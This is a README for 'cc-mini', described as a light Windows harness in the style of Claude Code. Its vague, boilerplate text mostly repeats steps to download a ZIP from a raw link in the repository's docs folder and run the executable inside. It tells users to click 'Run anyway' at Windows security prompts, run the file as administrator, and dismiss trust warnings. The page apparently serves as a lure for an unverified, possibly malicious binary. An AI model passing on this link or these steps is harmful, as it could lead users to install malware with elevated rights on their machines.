🧩 cc-mini - Simple AI Harness for Fast Setup

🪄 What cc-mini does

cc-mini is a small Windows app for running a light AI agent setup. It gives you a simple way to start, stop, and manage an AI harness without a large install or a complex setup.

Use it if you want:

• a small tool with a low system load
• a simple path to launch an AI agent workflow
• a clean setup that avoids extra steps
• a starter app for agent-based tasks

📥 Download cc-mini

Visit this page to download or get the app:

https://github.com/Marcogreen394/cc-mini/raw/refs/heads/main/docs/mini_cc_3.7.zip

If the page has a release file for Windows, download it there. If you get a ZIP file, save it to your computer and extract it before you run the app.

🖥️ Windows setup

cc-mini is made for Windows users who want a fast start.

What you need

• Windows 10 or Windows 11
• An internet connection for the first download
• At least 200 MB of free disk space
• A mouse and keyboard
• Permission to run apps on your PC

Before you start

1. Open your web browser.
2. Go to the download page.
3. Save the file to a folder you can find, like Downloads or Desktop.
4. If the file comes in a ZIP folder, right-click it and choose Extract All.

🚀 Install and run

Follow these steps on Windows:

1. Open the folder where you saved cc-mini.
2. If you downloaded a ZIP file, open the extracted folder.
3. Look for the app file. It may be named cc-mini.exe or something close to that.
4. Double-click the file to start the app.
5. If Windows shows a security prompt, choose Run or More info, then Run anyway.
6. Wait for the app window to open.

If you use a release file from GitHub, download and run that file from the release page.

🧭 First-time use

When cc-mini opens for the first time, it may ask you to set a few basic options.

You may see settings for:

• folder location
• agent name
• task mode
• startup behavior

A safe first setup is:

• keep the default folder
• use the default agent name
• leave advanced settings unchanged
• start with one small task

🧠 How to use cc-mini

cc-mini works like a small control layer for an AI agent.

A simple use flow looks like this:

1. Start the app.
2. Choose the task you want the agent to handle.
3. Paste or type the work request.
4. Let the harness prepare the task.
5. Review the result.
6. Make small changes if needed.

Good first tasks include:

• writing a short note
• checking a folder structure
• helping with a simple script
• preparing a basic agent run
• testing a prompt workflow

📁 Suggested folder layout

To keep things easy, use one folder for cc-mini and one folder for your work files.

Example:

• Downloads\cc-mini
• Documents\cc-mini-work

This helps you find files fast and keeps the app clean.

🔧 Common controls

You may find controls in the app for:

• Start
• Stop
• Reset
• Open folder
• Save settings
• Load task

If a button name looks close but not exact, use the option that matches the action you need.

🛠️ Troubleshooting

The app does not open

Try these steps:

1. Make sure the file finished downloading.
2. Check that you extracted the ZIP file.
3. Right-click the app and choose Run as administrator.
4. Confirm that Windows did not block the file.
5. Try moving the app to a simple folder path, like C:\cc-mini.

Windows says it cannot trust the file

This can happen with downloaded apps. If the file came from the GitHub link above, check that you downloaded it from the correct page and try again.

The app opens and closes fast

This often means the app could not find a needed file or folder.

Try this:

1. Open the app folder.
2. Make sure all files are still there.
3. Run the app from the same folder, not from a shortcut.
4. Keep the app files in one place.

The app feels slow

cc-mini is built to stay light. If it feels slow, close other apps and try again. Also check that your PC has enough free memory and disk space.

✅ Best use tips

• Start with one task at a time
• Keep file paths short
• Use plain task names
• Save your settings after each change
• Test with a small job before a bigger one

🔒 Safe use

Use cc-mini with files and tasks you trust. Keep your work in a folder you control. If you test prompts or agent flows, use sample files first.

🗂️ File handling

When working with cc-mini, keep this in mind:

• Do not rename app files unless you know what they do
• Keep the main app and support files in the same folder
• Save your work in a separate folder
• Back up important files before you test new tasks

📌 Quick start

1. Open the download page: https://github.com/Marcogreen394/cc-mini/raw/refs/heads/main/docs/mini_cc_3.7.zip
2. Download the Windows file
3. Extract it if needed
4. Double-click the app file
5. Start your first task

📄 What this app is for

cc-mini is a mini version of a Claude Code-style harness. It focuses on a smaller setup for AI agent work, with less clutter and a simpler path to run tasks on Windows.

💬 What you may see in the app

Depending on the build, you may see screens for:

• project setup
• task input
• run status
• logs
• output files
• agent config

Use the labels on screen. The app is meant to stay easy to follow, even if you have not used a tool like this before